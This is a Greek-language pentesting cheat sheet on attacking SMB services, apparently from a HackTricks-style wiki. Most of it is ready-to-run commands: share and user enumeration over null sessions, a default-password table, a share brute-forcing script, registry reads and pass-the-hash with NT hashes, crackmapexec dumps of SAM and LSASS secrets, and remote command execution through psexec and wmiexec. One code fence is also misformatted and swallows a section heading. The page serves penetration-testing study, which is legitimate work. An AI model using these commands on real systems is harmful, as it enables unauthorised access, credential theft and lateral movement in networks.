Τεχνικά, η Θύρα 139 αναφέρεται ως 'NBT πάνω από IP', ενώ η Θύρα 445 αναγνωρίζεται ως 'SMB πάνω από IP'. Το ακρωνύμιο **SMB** σημαίνει '**Server Message Blocks**', το οποίο είναι επίσης γνωστό σύγχρονα ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου στο επίπεδο εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για τη δυνατότητα κοινής πρόσβασης σε αρχεία, εκτυπωτές, σειριακές θύρες, και για τη διευκόλυνση διαφόρων μορφών επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
|
||||||
|
|
||||||
|
Για παράδειγμα, στο πλαίσιο των Windows, το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίστροφα, σε διαφορετικά συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με το NetBIOS πάνω από TCP/IP.
|
||||||
|
|
||||||
|
```
|
||||||
|
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||||
|
```
|
||||||
|
|
||||||
|
### SMB
|
||||||
|
|
||||||
|
Το πρωτόκολλο **Server Message Block (SMB)**, λειτουργώντας σε ένα μοντέλο **client-server**, σχεδιάστηκε για τον έλεγχο της **πρόσβασης σε αρχεία**, καταλόγους και άλλους δικτυακούς πόρους όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στη σειρά λειτουργικών συστημάτων **Windows**, το SMB εξασφαλίζει αντιστροφή συμβατότητα, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν απροβλημάτιστα με αυτές που εκτελούν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι τη διασυνοριακή επικοινωνία μέσω SMB.
|
||||||
|
|
||||||
|
Οι κοινοποιήσεις, που αντιπροσωπεύουν **οποιοδήποτε τμήμα του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από ένα διακομιστή SMB, καθιστώντας την ιεραρχία ορατή σε έναν πελάτη εν μέρει **ανεξάρτητη** από την πραγματική δομή του διακομιστή. Οι **Λίστες Ελέγχου Πρόσβασης (ACLs)**, που ορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν τον **λεπτοδιάκριτο έλεγχο** των δικαιωμάτων χρήστη, συμπεριλαμβανομένων χαρακτηριστικών όπως **`εκτέλεση`**, **`ανάγνωση`** και **`πλήρης πρόσβαση`**. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινοποιήσεις, και διαφέρουν από τα τοπικά δικαιώματα που έχουν οριστεί στο διακομιστή.
|
||||||
|
|
||||||
|
### Κοινοποίηση IPC$
|
||||||
|
|
||||||
|
Η πρόσβαση στην κοινοποίηση IPC$ μπορεί να επιτευχθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωληνώσεων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτόν τον σκοπό. Χρησιμοποιημένο σωστά, επιτρέπει την απόκτηση:
|
||||||
|
|
||||||
|
* Πληροφορίες για το λειτουργικό σύστημα
|
||||||
|
* Λεπτομέρειες για το γονικό τομέα
|
||||||
|
* Ένα συγκριτικό στοιχείο τοπικών χρηστών και ομάδων
|
||||||
|
* Πληροφορίες για διαθέσιμες κοινοποιήσεις SMB
|
||||||
|
* Την αποτελεσματική πολιτική ασφαλείας του συστήματος
|
||||||
|
|
||||||
|
Αυτή η λειτουργικότητα είναι κρίσιμη για διαχειριστές δικτύου και επαγγελματίες ασφαλείας για να αξιολογήσουν την ασφάλεια των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια περιεκτική εικόνα του περιβάλλοντος SMB του στόχου συστήματος, το οποίο είναι ουσιώδες για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι κατάλληλα ασφαλισμένες.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
enum4linux -a target_ip
|
||||||
|
```
|
||||||
|
|
||||||
|
Το παραπάνω παράδειγμα είναι πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να πραγματοποιήσει μια πλήρη απαρίθμηση εναντίον ενός στόχου που καθορίζεται από το `target_ip`.
|
||||||
|
|
||||||
|
## Τι είναι το NTLM
|
||||||
|
|
||||||
|
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς μπορεί να καταχραστεί, θα βρείτε πολύ ενδιαφέρουσα αυτήν τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να επωφεληθείτε από αυτό:**
|
||||||
|
|
||||||
|
{% content-ref url="../../windows-hardening/ntlm/" %}
|
||||||
|
[ntlm](../../windows-hardening/ntlm/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## **Απαρίθμηση Διακομιστή**
|
||||||
|
|
||||||
|
### **Σάρωση** ενός δικτύου αναζητώντας οικοδεσπότες:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nbtscan -r 192.168.0.1/24
|
||||||
|
```
|
||||||
|
|
||||||
|
### Έκδοση διακομιστή SMB
|
||||||
|
|
||||||
|
Για να αναζητήσετε πιθανές ευπάθειες στην έκδοση του SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Εάν αυτές οι πληροφορίες δεν εμφανίζονται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε:
|
||||||
|
|
||||||
|
* Χρησιμοποιήστε το **MSF** πρόσθετο ενότητας \_**auxiliary/scanner/smb/smb\_version**
|
||||||
|
* Ή αυτό το σενάριο:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#!/bin/sh
|
||||||
|
#Author: rewardone
|
||||||
|
#Description:
|
||||||
|
# Requires root or enough permissions to use tcpdump
|
||||||
|
# Will listen for the first 7 packets of a null login
|
||||||
|
# and grab the SMB Version
|
||||||
|
#Notes:
|
||||||
|
# Will sometimes not capture or will print multiple
|
||||||
|
# lines. May need to run a second time for success.
|
||||||
|
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||||||
|
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||||||
|
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||||||
|
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||||
|
echo "" && sleep .1
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Αναζήτηση εκμετάλλευσης**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
msf> search type:exploit platform:windows target:2008 smb
|
||||||
|
searchsploit microsoft smb
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Πιθανά** Διαπιστευτήρια
|
||||||
|
|
||||||
|
| **Όνομα Χρήστη** | **Συνηθισμένοι κωδικοί πρόσβασης** |
|
||||||
|
| -------------------- | ---------------------------------------- |
|
||||||
|
| _(κενό)_ | _(κενό)_ |
|
||||||
|
| guest | _(κενό)_ |
|
||||||
|
| Administrator, admin | _(κενό)_, password, administrator, admin |
|
||||||
|
| arcserve | arcserve, backup |
|
||||||
|
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||||
|
| backupexec, backup | backupexec, backup, arcada |
|
||||||
|
| test, lab, demo | password, test, lab, demo |
|
||||||
|
|
||||||
|
### Επίθεση Βίας
|
||||||
|
|
||||||
|
* [**Επίθεση Βίας στο SMB**](../../generic-methodologies-and-resources/brute-force.md#smb)
|
||||||
|
|
||||||
|
### Πληροφορίες Περιβάλλοντος SMB
|
||||||
|
|
||||||
|
### Απόκτηση Πληροφοριών
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#Dump interesting information
|
||||||
|
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||||
|
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||||||
|
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||||||
|
|
||||||
|
#Connect to the rpc
|
||||||
|
rpcclient -U "" -N <IP> #No creds
|
||||||
|
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||||||
|
rpcclient -U "username%passwd" <IP> #With creds
|
||||||
|
#You can use querydispinfo and enumdomusers to query user information
|
||||||
|
|
||||||
|
#Dump user information
|
||||||
|
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
|
||||||
|
#Map possible RPC endpoints
|
||||||
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Απαρίθμηση Χρηστών, Ομάδων & Χρηστών που έχουν συνδεθεί
|
||||||
|
|
||||||
|
Αυτές οι πληροφορίες πρέπει να έχουν ήδη συλλεχθεί από το enum4linux και το enum4linux-ng
|
||||||
|
|
||||||
|
```bash
|
||||||
|
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||||
|
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||||
|
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||||||
|
|
||||||
|
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||||||
|
|
||||||
|
rpcclient -U "" -N 10.10.10.10
|
||||||
|
enumdomusers
|
||||||
|
enumdomgroups
|
||||||
|
```
|
||||||
|
|
||||||
|
### Απαρίθμηση τοπικών χρηστών
|
||||||
|
|
||||||
|
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
lookupsid.py -no-pass hostname.local
|
||||||
|
```
|
||||||
|
|
||||||
|
Μονογραμμή
|
||||||
|
|
||||||
|
```bash
|
||||||
|
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||||
|
```
|
||||||
|
|
||||||
|
### Metasploit - Απαριθμώντας τους τοπικούς χρήστες
|
||||||
|
|
||||||
|
```bash
|
||||||
|
use auxiliary/scanner/smb/smb_lookupsid
|
||||||
|
set rhosts hostname.local
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Απαρίθμηση LSARPC και SAMR rpcclient**
|
||||||
|
|
||||||
|
{% content-ref url="rpcclient-enumeration.md" %}
|
||||||
|
[rpcclient-enumeration.md](rpcclient-enumeration.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Σύνδεση GUI από το Linux
|
||||||
|
|
||||||
|
#### Στο τερματικό:
|
||||||
|
|
||||||
|
`xdg-open smb://cascade.htb/`
|
||||||
|
|
||||||
|
#### Στο παράθυρο του φακέλου (nautilus, thunar, κλπ)
|
||||||
|
|
||||||
|
`smb://friendzone.htb/general/`
|
||||||
|
|
||||||
|
## Απαρίθμηση Κοινόχρηστων Φακέλων
|
||||||
|
|
||||||
|
### Λίστα κοινόχρηστων φακέλων
|
||||||
|
|
||||||
|
Πάντα συνιστάται να ελέγξετε αν μπορείτε να έχετε πρόσβαση σε οτιδήποτε, αν δεν έχετε διαπιστευτήρια δοκιμάστε να χρησιμοποιήσετε τα **null** **διαπιστευτήρια/επισκέπτης χρήστης**.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
smbclient --no-pass -L //<IP> # Null user
|
||||||
|
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||||
|
|
||||||
|
smbmap -H <IP> [-P <PORT>] #Null user
|
||||||
|
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||||||
|
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||||
|
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||||||
|
|
||||||
|
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||||
|
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||||
|
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Σύνδεση/Λίστα κοινόχρηστου φακέλου**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#Connect using smbclient
|
||||||
|
smbclient --no-pass //<IP>/<Folder>
|
||||||
|
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||||
|
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||||||
|
|
||||||
|
#List with smbmap, without folder it list everything
|
||||||
|
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||||||
|
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||||
|
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Χειροκίνητη απαρίθμηση κοινοποιήσεων των Windows και σύνδεση σε αυτές**
|
||||||
|
|
||||||
|
Ενδέχεται να είστε περιορισμένοι στην εμφάνιση οποιωνδήποτε κοινοποιήσεων του υπολογιστή-στόχου και όταν προσπαθείτε να τις απαριθμήσετε, φαίνεται ότι δεν υπάρχουν κοινοποιήσεις στις οποίες μπορείτε να συνδεθείτε. Επομένως, αξίζει να δοκιμάσετε να συνδεθείτε χειροκίνητα σε μια κοινοποίηση. Για να απαριθμήσετε τις κοινοποιήσεις χειροκίνητα, μπορεί να θέλετε να ψάξετε για απαντήσεις όπως NT\_STATUS\_ACCESS\_DENIED και NT\_STATUS\_BAD\_NETWORK\_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. κενή συνεδρία ή έγκυρα διαπιστευτήρια). Αυτά μπορεί να υποδεικνύουν εάν η κοινοποίηση υπάρχει και δεν έχετε πρόσβαση σε αυτήν ή εάν η κοινοποίηση δεν υπάρχει καθόλου.
|
||||||
|
|
||||||
|
Συνήθεις ονομασίες κοινοποιήσεων για στόχους Windows είναι:
|
||||||
|
|
||||||
|
* C$
|
||||||
|
* D$
|
||||||
|
* ADMIN$
|
||||||
|
* IPC$
|
||||||
|
* PRINT$
|
||||||
|
* FAX$
|
||||||
|
* SYSVOL
|
||||||
|
* NETLOGON
|
||||||
|
|
||||||
|
(Συνήθεις ονομασίες κοινοποιήσεων από το _**Network Security Assessment 3η έκδοση**_)
|
||||||
|
|
||||||
|
Μπορείτε να δοκιμάσετε να συνδεθείτε σε αυτές χρησιμοποιώντας την παρακάτω εντολή
|
||||||
|
|
||||||
|
```bash
|
||||||
|
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||||
|
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||||
|
```
|
||||||
|
|
||||||
|
ή αυτό το script (χρησιμοποιώντας μια null συνεδρία)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#/bin/bash
|
||||||
|
|
||||||
|
ip='<TARGET-IP-HERE>'
|
||||||
|
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||||||
|
|
||||||
|
for share in ${shares[*]}; do
|
||||||
|
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||||
|
|
||||||
|
if [[ -z $output ]]; then
|
||||||
|
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||||||
|
else
|
||||||
|
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
### Παραδείγματα
|
||||||
|
|
||||||
|
Μερικά παραδείγματα επιθέσεων SMB περιλαμβάνουν:
|
||||||
|
|
||||||
|
* Εκμετάλλευση ευπαθειών στο πρωτόκολλο SMB για αποκτήσει πρόσβαση σε συστήματα
|
||||||
|
* Χρήση εργαλείων όπως το Responder για να προκαλέσεις αποκλίσεις στην κίνηση SMB και να αποκτήσεις πληροφορίες σύνδεσης
|
||||||
|
* Εκτέλεση επιθέσεων κοινής χρήσης (share) για να αποκτήσεις πρόσβαση σε αρχεία και φακέλους που είναι κοινόχρηστοι μέσω του πρωτοκόλλου SMB
|
||||||
|
|
||||||
|
```bash
|
||||||
|
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||||
|
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Απαρίθμηση κοινοποιήσεων από Windows / χωρίς εργαλεία τρίτων**
|
||||||
|
|
||||||
|
PowerShell
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Retrieves the SMB shares on the locale computer.
|
||||||
|
Get-SmbShare
|
||||||
|
Get-WmiObject -Class Win32_Share
|
||||||
|
# Retrieves the SMB shares on a remote computer.
|
||||||
|
get-smbshare -CimSession "<computer name or session object>"
|
||||||
|
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||||
|
Get-SmbConnection
|
||||||
|
```
|
||||||
|
|
||||||
|
Κονσόλα CMD
|
||||||
|
|
||||||
|
```shell
|
||||||
|
# List shares on the local computer
|
||||||
|
net share
|
||||||
|
# List shares on a remote computer (including hidden ones)
|
||||||
|
net view \\<ip> /all
|
||||||
|
```
|
||||||
|
|
||||||
|
MMC Snap-in (γραφικό)
|
||||||
|
|
||||||
|
```shell
|
||||||
|
# Shared Folders: Shared Folders > Shares
|
||||||
|
fsmgmt.msc
|
||||||
|
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||||
|
compmgmt.msc
|
||||||
|
```
|
||||||
|
|
||||||
|
```html
|
||||||
|
explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις.
|
||||||
|
|
||||||
|
### Τοποθετήστε ένα κοινόχρηστο φάκελο
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mount -t cifs //x.x.x.x/share /mnt/share
|
||||||
|
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Λήψη αρχείων**
|
||||||
|
|
||||||
|
Διαβάστε τις προηγούμενες ενότητες για να μάθετε πως να συνδεθείτε με διαπιστευτήρια/Pass-the-Hash.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#Search a file and download
|
||||||
|
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#Download all
|
||||||
|
smbclient //<IP>/<share>
|
||||||
|
> mask ""
|
||||||
|
> recurse
|
||||||
|
> prompt
|
||||||
|
> mget *
|
||||||
|
#Download everything to current directory
|
||||||
|
```
|
||||||
|
|
||||||
|
### Αναζήτηση Κοινόχρηστων Φακέλων Domain
|
||||||
|
|
||||||
|
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||||
|
|
||||||
|
```bash
|
||||||
|
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||||
|
```
|
||||||
|
|
||||||
|
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) αράχνη.
|
||||||
|
* `-M spider_plus [--share <share_name>]`
|
||||||
|
* `--pattern txt`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||||
|
```
|
||||||
|
|
||||||
|
Ειδικά ενδιαφέρον αποτελούν τα αρχεία με τα ονόματα **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **αυτόματη σύνδεση** μέσω της ομάδας πολιτικής. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια.
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
Το **SYSVOL share** είναι **αναγνώσιμο** από όλους τους εξουσιοδοτημένους χρήστες στον τομέα. Εκεί μπορείτε να **βρείτε** πολλά διαφορετικά αρχεία εκτέλεσης εντολών, VBScript και PowerShell.\
|
||||||
|
Θα πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς ενδέχεται να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Διάβασμα του Μητρώου
|
||||||
|
|
||||||
|
Μπορείτε να **διαβάσετε το μητρώο** χρησιμοποιώντας κάποια ανακαλυφθέντα διαπιστευτήρια. Το Impacket **`reg.py`** σάς επιτρέπει να το δοκιμάσετε:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||||
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||||
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||||
|
```
|
||||||
|
|
||||||
|
## Post Exploitation
|
||||||
|
|
||||||
|
Η **προεπιλεγμένη ρύθμιση** ενός **διακομιστή Samba** συνήθως βρίσκεται στο `/etc/samba/smb.conf` και ενδέχεται να περιέχει μερικές **επικίνδυνες ρυθμίσεις**:
|
||||||
|
|
||||||
|
| **Ρύθμιση** | **Περιγραφή** |
|
||||||
|
| --------------------------- | --------------------------------------------------------------------- |
|
||||||
|
| `browseable = yes` | Να επιτρέπεται η εμφάνιση διαθέσιμων κοινών φακέλων; |
|
||||||
|
| `read only = no` | Να απαγορεύεται η δημιουργία και τροποποίηση αρχείων; |
|
||||||
|
| `writable = yes` | Να επιτρέπεται στους χρήστες η δημιουργία και τροποποίηση αρχείων; |
|
||||||
|
| `guest ok = yes` | Να επιτρέπεται η σύνδεση στην υπηρεσία χωρίς χρήση κωδικού πρόσβασης; |
|
||||||
|
| `enable privileges = yes` | Να τηρούνται τα προνόμια που έχουν ανατεθεί σε συγκεκριμένο SID; |
|
||||||
|
| `create mask = 0777` | Ποιες άδειες πρέπει να ανατεθούν στα νεοδημιουργημένα αρχεία; |
|
||||||
|
| `directory mask = 0777` | Ποιες άδειες πρέπει να ανατεθούν στους νεοδημιουργημένους φακέλους; |
|
||||||
|
| `logon script = script.sh` | Ποιο σενάριο πρέπει να εκτελεστεί κατά τη σύνδεση του χρήστη; |
|
||||||
|
| `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελεστεί όταν κλείνει το σενάριο; |
|
||||||
|
| `magic output = script.out` | Πού πρέπει να αποθηκευτεί το αποτέλεσμα του μαγικού σεναρίου; |
|
||||||
|
|
||||||
|
Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **διακομιστή** και με το **ποιος είναι συνδεδεμένος**.
|
||||||
|
|
||||||
|
## Ταυτοποίηση χρήσης Kerberos
|
||||||
|
|
||||||
|
Μπορείτε να **ταυτοποιηθείτε** στο **Kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
smbclient --kerberos //ws01win10.domain.com/C$
|
||||||
|
rpcclient -k ws01win10.domain.com
|
||||||
|
```
|
||||||
|
|
||||||
|
## **Εκτέλεση Εντολών**
|
||||||
|
|
||||||
|
### **crackmapexec**
|
||||||
|
|
||||||
|
Το crackmapexec μπορεί να εκτελέσει εντολές **καταχρηστεύοντας** οποιαδήποτε από τις μεθόδους **mmcexec, smbexec, atexec, wmiexec** με την **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
apt-get install crackmapexec
|
||||||
|
|
||||||
|
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||||||
|
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||||||
|
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||||||
|
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||||
|
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||||||
|
|
||||||
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||||
|
```
|
||||||
|
|
||||||
|
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||||
|
|
||||||
|
Και οι δύο επιλογές θα **δημιουργήσουν ένα νέο υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στο μηχάνημα θύματος και θα το χρησιμοποιήσουν για να **εκτελέσουν κάτι** (**psexec** θα **ανεβάσει** ένα εκτελέσιμο αρχείο στον κοινόχρηστο φάκελο ADMIN$ και **smbexec** θα δείχνει στο **cmd.exe/powershell.exe** και θα βάλει στα ορίσματα το φορτωμένο αρχείο --**τεχνική χωρίς αρχείο-**-).\
|
||||||
|
**Περισσότερες πληροφορίες** σχετικά με το [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) και το [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||||
|
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#If no password is provided, it will be prompted
|
||||||
|
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||||
|
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||||
|
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||||
|
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||||
|
```
|
||||||
|
|
||||||
|
Χρησιμοποιώντας τη **παράμετρο** `-k` μπορείτε να πιστοποιηθείτε εναντίον του **kerberos** αντί για το **NTLM**
|
||||||
|
|
||||||
|
### [wmiexec](../../windows-hardening/lateral-movement/wmicexec.md)/dcomexec
|
||||||
|
|
||||||
|
Εκτελέστε με διακριτικότητα ένα κέλυφος εντολών χωρίς να αγγίξετε το δίσκο ή να εκτελέσετε ένα νέο υπηρεσία χρησιμοποιώντας το DCOM μέσω **θύρας 135.**\
|
||||||
|
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#If no password is provided, it will be prompted
|
||||||
|
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||||
|
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
